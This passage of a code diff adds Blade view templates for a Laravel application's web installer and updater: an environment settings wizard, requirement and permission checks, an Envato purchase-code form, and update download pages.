<div class="form-group {{ $errors->has('app_log_level') ? ' has-error ' : '' }}">
<label for="app_log_level">
{{ trans('installer_messages.environment.wizard.form.app_log_level_label') }}
</label>
<select name="app_log_level" id="app_log_level">
<option value="debug" selected>{{ trans('installer_messages.environment.wizard.form.app_log_level_label_debug') }}</option>
<option value="info">{{ trans('installer_messages.environment.wizard.form.app_log_level_label_info') }}</option>
<option value="notice">{{ trans('installer_messages.environment.wizard.form.app_log_level_label_notice') }}</option>
<option value="warning">{{ trans('installer_messages.environment.wizard.form.app_log_level_label_warning') }}</option>
<option value="error">{{ trans('installer_messages.environment.wizard.form.app_log_level_label_error') }}</option>
<option value="critical">{{ trans('installer_messages.environment.wizard.form.app_log_level_label_critical') }}</option>
<option value="alert">{{ trans('installer_messages.environment.wizard.form.app_log_level_label_alert') }}</option>
<option value="emergency">{{ trans('installer_messages.environment.wizard.form.app_log_level_label_emergency') }}</option>
</select>
@if ($errors->has('app_log_level'))
<span class="error-block">
<i class="fa fa-fw fa-exclamation-triangle" aria-hidden="true"></i>
{{ $errors->first('app_log_level') }}
</span>
@endif
</div>
<div class="form-group {{ $errors->has('app_url') ? ' has-error ' : '' }}">
<label for="app_url">
{{ trans('installer_messages.environment.wizard.form.app_url_label') }}
</label>
<input type="url" name="app_url" id="app_url" value="{{ url('/') }}" placeholder="{{ trans('installer_messages.environment.wizard.form.app_url_placeholder') }}" required />
@if ($errors->has('app_url'))
<span class="error-block">
<i class="fa fa-fw fa-exclamation-triangle" aria-hidden="true"></i>
{{ $errors->first('app_url') }}
</span>
@endif
</div>
<div class="form-group {{ $errors->has('database_connection') ? ' has-error ' : '' }}">
<label for="database_connection">
{{ trans('installer_messages.environment.wizard.form.db_connection_label') }}
</label>
<select name="database_connection" id="database_connection">
<option value="mysql" selected>{{ trans('installer_messages.environment.wizard.form.db_connection_label_mysql') }}</option>
<option value="sqlite">{{ trans('installer_messages.environment.wizard.form.db_connection_label_sqlite') }}</option>
<option value="pgsql">{{ trans('installer_messages.environment.wizard.form.db_connection_label_pgsql') }}</option>
<option value="sqlsrv">{{ trans('installer_messages.environment.wizard.form.db_connection_label_sqlsrv') }}</option>
</select>
@if ($errors->has('database_connection'))
<span class="error-block">
<i class="fa fa-fw fa-exclamation-triangle" aria-hidden="true"></i>
{{ $errors->first('database_connection') }}
</span>
@endif
</div>
<div class="form-group {{ $errors->has('database_hostname') ? ' has-error ' : '' }}">
<label for="database_hostname">
{{ trans('installer_messages.environment.wizard.form.db_host_label') }}
</label>
<input type="text" name="database_hostname" id="database_hostname" value="127.0.0.1" placeholder="{{ trans('installer_messages.environment.wizard.form.db_host_placeholder') }}" />
@if ($errors->has('database_hostname'))
<span class="error-block">
<i class="fa fa-fw fa-exclamation-triangle" aria-hidden="true"></i>
{{ $errors->first('database_hostname') }}
</span>
@endif
</div>
<div class="form-group {{ $errors->has('database_port') ? ' has-error ' : '' }}">
<label for="database_port">
{{ trans('installer_messages.environment.wizard.form.db_port_label') }}
</label>
<input type="number" name="database_port" id="database_port" value="3306" placeholder="{{ trans('installer_messages.environment.wizard.form.db_port_placeholder') }}" />
@if ($errors->has('database_port'))
<span class="error-block">
<i class="fa fa-fw fa-exclamation-triangle" aria-hidden="true"></i>
{{ $errors->first('database_port') }}
</span>
@endif
</div>
<div class="form-group {{ $errors->has('database_name') ? ' has-error ' : '' }}">
<label for="database_name required">
{{ trans('installer_messages.environment.wizard.form.db_name_label') }}
</label>
<input type="text" name="database_name" id="database_name" value="{{ old('database_name') }}" placeholder="{{ trans('installer_messages.environment.wizard.form.db_name_placeholder') }}" required />
@if ($errors->has('database_name'))
<span class="error-block">
<i class="fa fa-fw fa-exclamation-triangle" aria-hidden="true"></i>
{{ $errors->first('database_name') }}
</span>
@endif
</div>
<div class="form-group {{ $errors->has('database_username') ? ' has-error ' : '' }}">
<label for="database_username">
{{ trans('installer_messages.environment.wizard.form.db_username_label') }}
</label>
<input type="text" name="database_username" id="database_username" value="{{ old('database_username') }}" placeholder="{{ trans('installer_messages.environment.wizard.form.db_username_placeholder') }}" required />
@if ($errors->has('database_username'))
<span class="error-block">
<i class="fa fa-fw fa-exclamation-triangle" aria-hidden="true"></i>
{{ $errors->first('database_username') }}
</span>
@endif
</div>
<div class="form-group bottom-gap {{ $errors->has('database_password') ? ' has-error ' : '' }}">
<label for="database_password">
{{ trans('installer_messages.environment.wizard.form.db_password_label') }}
</label>
<input type="password" name="database_password" id="database_password" value="" placeholder="{{ trans('installer_messages.environment.wizard.form.db_password_placeholder') }}" />
@if ($errors->has('database_password'))
<span class="error-block">
<i class="fa fa-fw fa-exclamation-triangle" aria-hidden="true"></i>
{{ $errors->first('database_password') }}
</span>
@endif
</div>
<div class="block" style="display: none">
<input type="radio" name="appSettingsTabs" id="appSettingsTab1" value="null" checked />
<label for="appSettingsTab1">
<span>
{{ trans('installer_messages.environment.wizard.form.app_tabs.broadcasting_title') }}
</span>
</label>
<div class="info">
<div class="form-group {{ $errors->has('broadcast_driver') ? ' has-error ' : '' }}">
<label for="broadcast_driver">{{ trans('installer_messages.environment.wizard.form.app_tabs.broadcasting_label') }}
<sup>
<a href="https://laravel.com/docs/5.4/broadcasting" target="_blank" title="{{ trans('installer_messages.environment.wizard.form.app_tabs.more_info') }}">
<i class="fa fa-info-circle fa-fw" aria-hidden="true"></i>
<span class="sr-only">{{ trans('installer_messages.environment.wizard.form.app_tabs.more_info') }}</span>
</a>
</sup>
</label>
<input type="text" name="broadcast_driver" id="broadcast_driver" value="log" placeholder="{{ trans('installer_messages.environment.wizard.form.app_tabs.broadcasting_placeholder') }}" />
@if ($errors->has('broadcast_driver'))
<span class="error-block">
<i class="fa fa-fw fa-exclamation-triangle" aria-hidden="true"></i>
{{ $errors->first('broadcast_driver') }}
</span>
@endif
</div>
<div class="form-group {{ $errors->has('cache_driver') ? ' has-error ' : '' }}">
<label for="cache_driver">{{ trans('installer_messages.environment.wizard.form.app_tabs.cache_label') }}
<sup>
<a href="https://laravel.com/docs/5.4/cache" target="_blank" title="{{ trans('installer_messages.environment.wizard.form.app_tabs.more_info') }}">
<i class="fa fa-info-circle fa-fw" aria-hidden="true"></i>
<span class="sr-only">{{ trans('installer_messages.environment.wizard.form.app_tabs.more_info') }}</span>
</a>
</sup>
</label>
<input type="text" name="cache_driver" id="cache_driver" value="file" placeholder="{{ trans('installer_messages.environment.wizard.form.app_tabs.cache_placeholder') }}" />
@if ($errors->has('cache_driver'))
<span class="error-block">
<i class="fa fa-fw fa-exclamation-triangle" aria-hidden="true"></i>
{{ $errors->first('cache_driver') }}
</span>
@endif
</div>
<div class="form-group {{ $errors->has('session_driver') ? ' has-error ' : '' }}">
<label for="session_driver">{{ trans('installer_messages.environment.wizard.form.app_tabs.session_label') }}
<sup>
<a href="https://laravel.com/docs/5.4/session" target="_blank" title="{{ trans('installer_messages.environment.wizard.form.app_tabs.more_info') }}">
<i class="fa fa-info-circle fa-fw" aria-hidden="true"></i>
<span class="sr-only">{{ trans('installer_messages.environment.wizard.form.app_tabs.more_info') }}</span>
</a>
</sup>
</label>
<input type="text" name="session_driver" id="session_driver" value="file" placeholder="{{ trans('installer_messages.environment.wizard.form.app_tabs.session_placeholder') }}" />
@if ($errors->has('session_driver'))
<span class="error-block">
<i class="fa fa-fw fa-exclamation-triangle" aria-hidden="true"></i>
{{ $errors->first('session_driver') }}
</span>
@endif
</div>
<div class="form-group {{ $errors->has('queue_driver') ? ' has-error ' : '' }}">
<label for="queue_driver">{{ trans('installer_messages.environment.wizard.form.app_tabs.queue_label') }}
<sup>
<a href="https://laravel.com/docs/5.4/queues" target="_blank" title="{{ trans('installer_messages.environment.wizard.form.app_tabs.more_info') }}">
<i class="fa fa-info-circle fa-fw" aria-hidden="true"></i>
<span class="sr-only">{{ trans('installer_messages.environment.wizard.form.app_tabs.more_info') }}</span>
</a>
</sup>
</label>
<input type="text" name="queue_driver" id="queue_driver" value="sync" placeholder="{{ trans('installer_messages.environment.wizard.form.app_tabs.queue_placeholder') }}" />
@if ($errors->has('queue_driver'))
<span class="error-block">
<i class="fa fa-fw fa-exclamation-triangle" aria-hidden="true"></i>
{{ $errors->first('queue_driver') }}
</span>
@endif
</div>
</div>
</div>
<div class="block d-none">
<input type="radio" name="appSettingsTabs" id="appSettingsTab2" value="null"/>
<label for="appSettingsTab2">
<span>
{{ trans('installer_messages.environment.wizard.form.app_tabs.redis_label') }}
</span>
</label>
<div class="info">
<div class="form-group {{ $errors->has('redis_hostname') ? ' has-error ' : '' }}">
<label for="redis_hostname">
{{ trans('installer_messages.environment.wizard.form.app_tabs.redis_host') }}
<sup>
<a href="https://laravel.com/docs/5.4/redis" target="_blank" title="{{ trans('installer_messages.environment.wizard.form.app_tabs.more_info') }}">
<i class="fa fa-info-circle fa-fw" aria-hidden="true"></i>
<span class="sr-only">{{ trans('installer_messages.environment.wizard.form.app_tabs.more_info') }}</span>
</a>
</sup>
</label>
<input type="text" name="redis_hostname" id="redis_hostname" value="127.0.0.1" placeholder="{{ trans('installer_messages.environment.wizard.form.app_tabs.redis_host') }}" />
@if ($errors->has('redis_hostname'))
<span class="error-block">
<i class="fa fa-fw fa-exclamation-triangle" aria-hidden="true"></i>
{{ $errors->first('redis_hostname') }}
</span>
@endif
</div>
<div class="form-group {{ $errors->has('redis_password') ? ' has-error ' : '' }}">
<label for="redis_password">{{ trans('installer_messages.environment.wizard.form.app_tabs.redis_password') }}</label>
<input type="password" name="redis_password" id="redis_password" value="null" placeholder="{{ trans('installer_messages.environment.wizard.form.app_tabs.redis_password') }}" />
@if ($errors->has('redis_password'))
<span class="error-block">
<i class="fa fa-fw fa-exclamation-triangle" aria-hidden="true"></i>
{{ $errors->first('redis_password') }}
</span>
@endif
</div>
<div class="form-group {{ $errors->has('redis_port') ? ' has-error ' : '' }}">
<label for="redis_port">{{ trans('installer_messages.environment.wizard.form.app_tabs.redis_port') }}</label>
<input type="number" name="redis_port" id="redis_port" value="6379" placeholder="{{ trans('installer_messages.environment.wizard.form.app_tabs.redis_port') }}" />
@if ($errors->has('redis_port'))
<span class="error-block">
<i class="fa fa-fw fa-exclamation-triangle" aria-hidden="true"></i>
{{ $errors->first('redis_port') }}
</span>
@endif
</div>
</div>
</div>
<div class="block d-none">
<input type="radio" name="appSettingsTabs" id="appSettingsTab3" value="null"/>
<label for="appSettingsTab3">
<span>
{{ trans('installer_messages.environment.wizard.form.app_tabs.mail_label') }}
</span>
</label>
<div class="info">
<div class="form-group {{ $errors->has('mail_driver') ? ' has-error ' : '' }}">
<label for="mail_driver">
{{ trans('installer_messages.environment.wizard.form.app_tabs.mail_driver_label') }}
<sup>
<a href="https://laravel.com/docs/5.4/mail" target="_blank" title="{{ trans('installer_messages.environment.wizard.form.app_tabs.more_info') }}">
<i class="fa fa-info-circle fa-fw" aria-hidden="true"></i>
<span class="sr-only">{{ trans('installer_messages.environment.wizard.form.app_tabs.more_info') }}</span>
</a>
</sup>
</label>
<input type="text" name="mail_driver" id="mail_driver" value="smtp" placeholder="{{ trans('installer_messages.environment.wizard.form.app_tabs.mail_driver_placeholder') }}" />
@if ($errors->has('mail_driver'))
<span class="error-block">
<i class="fa fa-fw fa-exclamation-triangle" aria-hidden="true"></i>
{{ $errors->first('mail_driver') }}
</span>
@endif
</div>
<div class="form-group {{ $errors->has('mail_host') ? ' has-error ' : '' }}">
<label for="mail_host">{{ trans('installer_messages.environment.wizard.form.app_tabs.mail_host_label') }}</label>
<input type="text" name="mail_host" id="mail_host" value="smtp.mailtrap.io" placeholder="{{ trans('installer_messages.environment.wizard.form.app_tabs.mail_host_placeholder') }}" />
@if ($errors->has('mail_host'))
<span class="error-block">
<i class="fa fa-fw fa-exclamation-triangle" aria-hidden="true"></i>
{{ $errors->first('mail_host') }}
</span>
@endif
</div>
<div class="form-group {{ $errors->has('mail_port') ? ' has-error ' : '' }}">
<label for="mail_port">{{ trans('installer_messages.environment.wizard.form.app_tabs.mail_port_label') }}</label>
<input type="number" name="mail_port" id="mail_port" value="2525" placeholder="{{ trans('installer_messages.environment.wizard.form.app_tabs.mail_port_placeholder') }}" />
@if ($errors->has('mail_port'))
<span class="error-block">
<i class="fa fa-fw fa-exclamation-triangle" aria-hidden="true"></i>
{{ $errors->first('mail_port') }}
</span>
@endif
</div>
<div class="form-group {{ $errors->has('mail_username') ? ' has-error ' : '' }}">
<label for="mail_username">{{ trans('installer_messages.environment.wizard.form.app_tabs.mail_username_label') }}</label>
<input type="text" name="mail_username" id="mail_username" value="null" placeholder="{{ trans('installer_messages.environment.wizard.form.app_tabs.mail_username_placeholder') }}" />
@if ($errors->has('mail_username'))
<span class="error-block">
<i class="fa fa-fw fa-exclamation-triangle" aria-hidden="true"></i>
{{ $errors->first('mail_username') }}
</span>
@endif
</div>
<div class="form-group {{ $errors->has('mail_password') ? ' has-error ' : '' }}">
<label for="mail_password">{{ trans('installer_messages.environment.wizard.form.app_tabs.mail_password_label') }}</label>
<input type="text" name="mail_password" id="mail_password" value="null" placeholder="{{ trans('installer_messages.environment.wizard.form.app_tabs.mail_password_placeholder') }}" />
@if ($errors->has('mail_password'))
<span class="error-block">
<i class="fa fa-fw fa-exclamation-triangle" aria-hidden="true"></i>
{{ $errors->first('mail_password') }}
</span>
@endif
</div>
<div class="form-group {{ $errors->has('mail_encryption') ? ' has-error ' : '' }}">
<label for="mail_encryption">{{ trans('installer_messages.environment.wizard.form.app_tabs.mail_encryption_label') }}</label>
<input type="text" name="mail_encryption" id="mail_encryption" value="null" placeholder="{{ trans('installer_messages.environment.wizard.form.app_tabs.mail_encryption_placeholder') }}" />
@if ($errors->has('mail_encryption'))
<span class="error-block">
<i class="fa fa-fw fa-exclamation-triangle" aria-hidden="true"></i>
{{ $errors->first('mail_encryption') }}
</span>
@endif
</div>
</div>
</div>
<div class="block margin-bottom-2 d-none">
<input type="radio" name="appSettingsTabs" id="appSettingsTab4" value="null"/>
<label for="appSettingsTab4">
<span>
{{ trans('installer_messages.environment.wizard.form.app_tabs.pusher_label') }}
</span>
</label>
<div class="info">
<div class="form-group {{ $errors->has('pusher_app_id') ? ' has-error ' : '' }}">
<label for="pusher_app_id">
{{ trans('installer_messages.environment.wizard.form.app_tabs.pusher_app_id_label') }}
<sup>
<a href="https://pusher.com/docs/server_api_guide" target="_blank" title="{{ trans('installer_messages.environment.wizard.form.app_tabs.more_info') }}">
<i class="fa fa-info-circle fa-fw" aria-hidden="true"></i>
<span class="sr-only">{{ trans('installer_messages.environment.wizard.form.app_tabs.more_info') }}</span>
</a>
</sup>
</label>
<input type="text" name="pusher_app_id" id="pusher_app_id" value="" placeholder="{{ trans('installer_messages.environment.wizard.form.app_tabs.pusher_app_id_palceholder') }}" />
@if ($errors->has('pusher_app_id'))
<span class="error-block">
<i class="fa fa-fw fa-exclamation-triangle" aria-hidden="true"></i>
{{ $errors->first('pusher_app_id') }}
</span>
@endif
</div>
<div class="form-group {{ $errors->has('pusher_app_key') ? ' has-error ' : '' }}">
<label for="pusher_app_key">{{ trans('installer_messages.environment.wizard.form.app_tabs.pusher_app_key_label') }}</label>
<input type="text" name="pusher_app_key" id="pusher_app_key" value="" placeholder="{{ trans('installer_messages.environment.wizard.form.app_tabs.pusher_app_key_palceholder') }}" />
@if ($errors->has('pusher_app_key'))
<span class="error-block">
<i class="fa fa-fw fa-exclamation-triangle" aria-hidden="true"></i>
{{ $errors->first('pusher_app_key') }}
</span>
@endif
</div>
<div class="form-group {{ $errors->has('pusher_app_secret') ? ' has-error ' : '' }}">
<label for="pusher_app_secret">{{ trans('installer_messages.environment.wizard.form.app_tabs.pusher_app_secret_label') }}</label>
<input type="password" name="pusher_app_secret" id="pusher_app_secret" value="" placeholder="{{ trans('installer_messages.environment.wizard.form.app_tabs.pusher_app_secret_palceholder') }}" />
@if ($errors->has('pusher_app_secret'))
<span class="error-block">
<i class="fa fa-fw fa-exclamation-triangle" aria-hidden="true"></i>
{{ $errors->first('pusher_app_secret') }}
</span>
@endif
</div>
</div>
</div>
<div class="center-flex">
<div class="btn-wrapper">
<div class="btn-glow"></div>
<button type="submit" class="btn" role="button">
{{ trans('installer_messages.environment.wizard.form.buttons.install') }}
<svg aria-hidden="true" viewBox="0 0 10 10" height="10" width="10" fill="none" class="arrow">
<path d="M0 5h7" class="line1"></path>
<path d="M1 1l4 4-4 4" class="line2"></path>
</svg>
</button>
</div>
</div>
</div>
</form>
</div>
@endsection
@section('scripts')
<script type="text/javascript">
function checkEnvironment(val) {
var element=document.getElementById('environment_text_input');
if(val=='other') {
element.style.display='block';
} else {
element.style.display='none';
}
}
function showDatabaseSettings() {
document.getElementById('tab2').checked = true;
}
function showApplicationSettings() {
document.getElementById('tab3').checked = true;
}
</script>
@endsection

View File

@@ -0,0 +1,31 @@
@extends('vendor.installer.layouts.master')
@section('template_title')
{{ trans('installer_messages.environment.menu.templateTitle') }}
@endsection
@section('title')
<i class="fa fa-cog fa-fw" aria-hidden="true"></i>
{{ trans('installer_messages.environment.menu.title') }}
@endsection
@section('container')
<b class="text-center d-block environment-desc">
{{ trans('installer_messages.environment.menu.desc') }}
</b>
<div class="center-flex">
<div class="btn-wrapper">
<div class="btn-glow"></div>
<a href="{{ route('LaravelInstaller::environmentWizard') }}" class="btn" role="button" title="payment">
{{ trans('installer_messages.next') }}
<svg aria-hidden="true" viewBox="0 0 10 10" height="10" width="10" fill="none" class="arrow">
<path d="M0 5h7" class="line1"></path>
<path d="M1 1l4 4-4 4" class="line2"></path>
</svg>
</a>
</div>
</div>
@endsection

View File

@@ -0,0 +1,41 @@
@extends('vendor.installer.layouts.master')
@section('template_title')
{{ trans('installer_messages.final.templateTitle') }}
@endsection
@section('title')
<i class="fa fa-flag-checkered fa-fw" aria-hidden="true"></i>
{{ trans('installer_messages.final.title') }}
@endsection
@section('container')
@if(session('message')['dbOutputLog'])
<p><strong><small>{{ trans('installer_messages.final.migration') }}</small></strong></p>
<pre><code>{{ session('message')['dbOutputLog'] }}</code></pre>
@endif
<p><strong><small>{{ trans('installer_messages.final.console') }}</small></strong></p>
<pre><code>{{ $finalMessages }}</code></pre>
<p><strong><small>{{ trans('installer_messages.final.log') }}</small></strong></p>
<pre><code>{{ $finalStatusMessage }}</code></pre>
<p><strong><small>{{ trans('installer_messages.final.env') }}</small></strong></p>
<pre><code>{{ $finalEnvFile }}</code></pre>
<div class="center-flex">
<div class="btn-wrapper">
<div class="btn-glow"></div>
<a href="{{ url('/') }}" class="btn" role="button" title="payment">
{{ trans('installer_messages.final.exit') }}
<svg aria-hidden="true" viewBox="0 0 10 10" height="10" width="10" fill="none" class="arrow">
<path d="M0 5h7" class="line1"></path>
<path d="M1 1l4 4-4 4" class="line2"></path>
</svg>
</a>
</div>
</div>
@endsection

View File

@@ -0,0 +1,44 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>@if (trim($__env->yieldContent('template_title')))@yield('template_title') | @endif {{ trans('installer_messages.title') }}</title>
<link rel="icon" type="image/png" href="{{ asset('installer/img/favicon/favicon.png') }}"/>
<link href="{{ asset('installer/css/style.min.css') }}" rel="stylesheet"/>
@yield('style')
<script>
window.Laravel = <?php echo json_encode([
'csrfToken' => csrf_token(),
]); ?>
</script>
</head>
<body>
<div class="master">
<div class="box">
<div class="header">
<h1 class="header__title">@yield('title')</h1>
</div>
<ul class="step">
<li class="step__divider"></li>
<li class="step__item {{ isActive('LaravelUpdater::final') }}">
<i class="step__icon fa fa-database" aria-hidden="true"></i>
</li>
<li class="step__divider"></li>
<li class="step__item {{ isActive('LaravelUpdater::overview') }}">
<i class="step__icon fa fa-reorder" aria-hidden="true"></i>
</li>
<li class="step__divider"></li>
<li class="step__item {{ isActive('LaravelUpdater::welcome') }}">
<i class="step__icon fa fa-refresh" aria-hidden="true"></i>
</li>
<li class="step__divider"></li>
</ul>
<div class="main">
@yield('container')
</div>
</div>
</div>
</body>
</html>

View File

@@ -0,0 +1,114 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="csrf-token" content="{{ csrf_token() }}">
<title>@if (trim($__env->yieldContent('template_title')))@yield('template_title') | @endif {{ trans('installer_messages.welcome.title') }}</title>
<link rel="icon" type="image/png" href="{{ asset('installer/img/favicon/favicon.png') }}"/>
<link href="{{ asset('installer/css/style.min.css') }}" rel="stylesheet"/>
@yield('style')
<script>
window.Laravel = <?php echo json_encode([
'csrfToken' => csrf_token(),
]); ?>
</script>
</head>
<body>
<div class="master">
<img class="girl-img" src="{{ asset('installer/img/girl.png') }}" alt="">
<img class="boy-img" src="{{ asset('installer/img/boy.png') }}" alt="">
<div class="box">
<div class="header">
<h1 class="header__title">@yield('title')</h1>
</div>
<ul class="step">
<li class="step__divider"></li>
<li class="step__item {{ isActive('LaravelInstaller::final') }}">
<i class="step__icon fa fa-server" aria-hidden="true"></i>
</li>
<li class="step__divider"></li>
<li class="step__item {{ isActive('LaravelInstaller::environment') }} {{ isActive('LaravelInstaller::environmentWizard')}} {{ isActive('LaravelInstaller::environmentClassic')}} {{ isActive('LaravelInstaller::final') }}">
@if(Request::is('install/environment') || Request::is('install/environment/wizard') || Request::is('install/environment/classic') )
<a href="{{ route('LaravelInstaller::environment') }}">
<i class="step__icon fa fa-cog" aria-hidden="true"></i>
</a>
@else
<i class="step__icon fa fa-cog" aria-hidden="true"></i>
@endif
</li>
<li class="step__divider"></li>
<li class="step__item {{ isActive('LaravelInstaller::verify') }} {{ isActive('LaravelInstaller::environment') }} {{ isActive('LaravelInstaller::environmentWizard')}} {{ isActive('LaravelInstaller::final') }}">
@if(Request::is('install/verify-purchase-code') || Request::is('install/environment') || Request::is('install/environment/wizard') || Request::is('install/environment/classic') )
<a href="{{ route('LaravelInstaller::verify') }}">
<i class="step__icon fa fa-check" aria-hidden="true"></i>
</a>
@else
<i class="step__icon fa fa-check" aria-hidden="true"></i>
@endif
</li>
<li class="step__divider"></li>
<li class="step__item {{ isActive('LaravelInstaller::requirements') }} {{ isActive('LaravelInstaller::verify') }} {{ isActive('LaravelInstaller::environment') }} {{ isActive('LaravelInstaller::environmentWizard')}} {{ isActive('LaravelInstaller::final') }}">
@if(Request::is('install') || Request::is('install/requirements') || Request::is('install/permissions') || Request::is('install/verify-purchase-code') || Request::is('install/environment') || Request::is('install/environment/wizard') || Request::is('install/environment/classic') )
<a href="{{ route('LaravelInstaller::requirements') }}">
<i class="step__icon fa fa-list" aria-hidden="true"></i>
</a>
@else
<i class="step__icon fa fa-list" aria-hidden="true"></i>
@endif
</li>
<li class="step__divider"></li>
<li class="step__item active">
@if(Request::is('install/verify-purchase-code') || Request::is('install') || Request::is('install/requirements') || Request::is('install/permissions') || Request::is('install/environment') || Request::is('install/environment/wizard') || Request::is('install/environment/classic') )
<a href="{{ route('LaravelInstaller::welcome') }}">
<i class="step__icon fa fa-home" aria-hidden="true"></i>
</a>
@else
<i class="step__icon fa fa-home" aria-hidden="true"></i>
@endif
</li>
<li class="step__divider"></li>
</ul>
<div class="main">
@if (session('message'))
<p class="alert text-center">
<strong>
@if(is_array(session('message')))
{{ session('message')['message'] }}
@else
{{ session('message') }}
@endif
</strong>
</p>
@endif
@if(session()->has('errors'))
<div class="alert alert-danger" id="error_alert">
<button type="button" class="close" id="close_alert" data-dismiss="alert" aria-hidden="true">
<i class="fa fa-close" aria-hidden="true"></i>
</button>
<h4>
<i class="fa fa-fw fa-exclamation-triangle" aria-hidden="true"></i>
{{ trans('installer_messages.forms.errorTitle') }}
</h4>
<ul>
@foreach($errors->all() as $error)
<li>{{ $error }}</li>
@endforeach
</ul>
</div>
@endif
@yield('container')
</div>
</div>
</div>
@yield('scripts')
<script type="text/javascript">
var x = document.getElementById('error_alert');
var y = document.getElementById('close_alert');
y.onclick = function() {
x.style.display = "none";
};
</script>
</body>
</html>

View File

@@ -0,0 +1,35 @@
@extends('vendor.installer.layouts.master')
@section('template_title')
{{ trans('installer_messages.permissions.templateTitle') }}
@endsection
@section('title')
<i class="fa fa-key fa-fw" aria-hidden="true"></i>
{{ trans('installer_messages.permissions.title') }}
@endsection
@section('container')
<ul class="list">
@foreach($permissions['permissions'] as $permission)
<li class="list__item list__item--permissions {{ $permission['isSet'] ? 'success' : 'error' }}">
{{ $permission['folder'] }}
<span>
<i class="fa fa-fw fa-{{ $permission['isSet'] ? 'check-circle-o' : 'exclamation-circle' }}"></i>
{{ $permission['permission'] }}
</span>
</li>
@endforeach
</ul>
@if ( ! isset($permissions['errors']))
<div class="buttons">
<a href="{{ route('LaravelInstaller::verify') }}" class="button">
{{ __('Next') }}
<i class="fa fa-angle-right fa-fw" aria-hidden="true"></i>
</a>
</div>
@endif
@endsection

View File

@@ -0,0 +1,56 @@
@extends('vendor.installer.layouts.master')
@section('template_title')
{{ trans('installer_messages.requirements.templateTitle') }}
@endsection
@section('title')
<i class="fa fa-list-ul fa-fw" aria-hidden="true"></i>
{{ trans('installer_messages.requirements.title') }}
@endsection
@section('container')
@foreach($requirements['requirements'] as $type => $requirement)
<ul class="list">
<li class="list__item list__title {{ $phpSupportInfo['supported'] ? 'success' : 'error' }}">
<strong>{{ ucfirst($type) }}</strong>
@if($type == 'php')
<strong>
<small>
(version {{ $phpSupportInfo['minimum'] }} required)
</small>
</strong>
<span class="float-right">
<strong>
{{ $phpSupportInfo['current'] }}
</strong>
<i class="fa fa-fw fa-{{ $phpSupportInfo['supported'] ? 'check-circle-o' : 'exclamation-circle' }} row-icon" aria-hidden="true"></i>
</span>
@endif
</li>
@foreach($requirements['requirements'][$type] as $extention => $enabled)
<li class="list__item {{ $enabled ? 'success' : 'error' }}">
{{ $extention }}
<i class="fa fa-fw fa-{{ $enabled ? 'check-circle-o' : 'exclamation-circle' }} row-icon" aria-hidden="true"></i>
</li>
@endforeach
</ul>
@endforeach
@if ( ! isset($requirements['errors']) && $phpSupportInfo['supported'] )
<div class="center-flex">
<div class="btn-wrapper">
<div class="btn-glow"></div>
<a href="{{ route('LaravelInstaller::verify') }}" class="btn" role="button" title="payment">
{{ __('Verify Your Code') }}
<svg aria-hidden="true" viewBox="0 0 10 10" height="10" width="10" fill="none" class="arrow">
<path d="M0 5h7" class="line1"></path>
<path d="M1 1l4 4-4 4" class="line2"></path>
</svg>
</a>
</div>
</div>
@endif
@endsection

View File

@@ -0,0 +1,9 @@
@extends('php-laravel.installer.layouts.master-update')
@section('title', __('Download'))
@section('container')
<p class="paragraph text-center">{{ __('File downloaded successfully. Now time to update the project') }}</p>
<div class="buttons">
<a href="{{ route('LaravelUpdater::updateProcess',['fileName' => $file_name]) }}" class="button">{{ __('Update Product') }}</a>
</div>
@stop

View File

@@ -0,0 +1,9 @@
@extends('php-laravel.installer.layouts.master-update')
@section('title', trans('installer_messages.updater.final.title'))
@section('container')
<p class="paragraph text-center">{{ $message }}</p>
<div class="buttons">
<a href="{{ url('/') }}" class="button">{{ trans('installer_messages.updater.final.exit') }}</a>
</div>
@stop

View File

@@ -0,0 +1,54 @@
@extends('php-laravel.installer.layouts.master-update')
@section('template_title')
{{ trans('installer_messages.envato.templateTitle') }}
@endsection
@section('title')
<i class="fa fa-database" aria-hidden="true"></i>
{{ __('Product Update') }}
@endsection
@section('container')
<form method="post" action="{{ route('LaravelUpdater::downloadUpdatedCode') }}" class="tabs-wrap">
<input type="hidden" name="_token" value="{{ csrf_token() }}">
<div class="form-group {{ $errors->has('code') ? ' has-error ' : '' }}">
<label for="purchase_code">
{{ __('Purchase Code') }}
</label>
<input type="text" name="code" id="purchase_code" value="{{ $purchase_code }}" placeholder="{{ __('Envato purchase code')}}" />
@if ($errors->has('code'))
<span class="error-block">
<i class="fa fa-fw fa-exclamation-triangle" aria-hidden="true"></i>
{{ $errors->first('code') }}
</span>
@endif
</div>
@if(isset($version_list[0]))
<div class="form-group {{ $errors->has('version') ? ' has-error ' : '' }}">
<label for="environment">
{{ __('Select a version to get updated code') }}
</label>
<select name="version">
@foreach ($version_list as $version)
<option value="{{ $version['product_version'] }}">{{ $version['product_version'] }}</option>
@endforeach
</select>
@if ($errors->has('version'))
<span class="error-block">
<i class="fa fa-fw fa-exclamation-triangle" aria-hidden="true"></i>
{{ $errors->first('version') }}
</span>
@endif
</div>
@endif
<div class="buttons">
<button class="button" type="submit">
{{ __('Download') }}
<i class="fa fa-angle-right fa-fw" aria-hidden="true"></i>
</button>
</div>
</form>
@stop

View File

@@ -0,0 +1,11 @@
@extends('php-laravel.installer.layouts.master-update')
@section('title', trans('installer_messages.updater.welcome.title'))
@section('container')
<p class="paragraph text-center">
{{ trans('installer_messages.updater.welcome.message') }}
</p>
<div class="buttons">
<a href="{{ route('LaravelUpdater::overview') }}" class="button">{{ trans('installer_messages.next') }}</a>
</div>
@stop

View File

@@ -0,0 +1,33 @@
@extends('vendor.installer.layouts.master')
@section('title')
<i class="fa fa-key fa-fw" aria-hidden="true"></i>
{{ __('Verify Envato Purchase Code') }}
@endsection
@section('container')
<form method="post" action="{{ route('LaravelInstaller::codeVerifyProcess') }}" class="tabs-wrap">
<input type="hidden" name="_token" value="{{ csrf_token() }}">
<input type="hidden" name="_tokens" value="purchase_code">
<div class="form-group {{ $errors->has('purchase_code') ? ' has-error ' : '' }}">
<label for="purchase_code">
{{ __('Purchase Code') }}
</label>
<input type="text" name="purchase_code" id="purchase_code" value="" placeholder="{{ __('Envato purchase code')}}" />
@if ($errors->has('purchase_code'))
<span class="error-block">
<i class="fa fa-fw fa-exclamation-triangle" aria-hidden="true"></i>
{{ $errors->first('purchase_code') }}
</span>
@endif
</div>
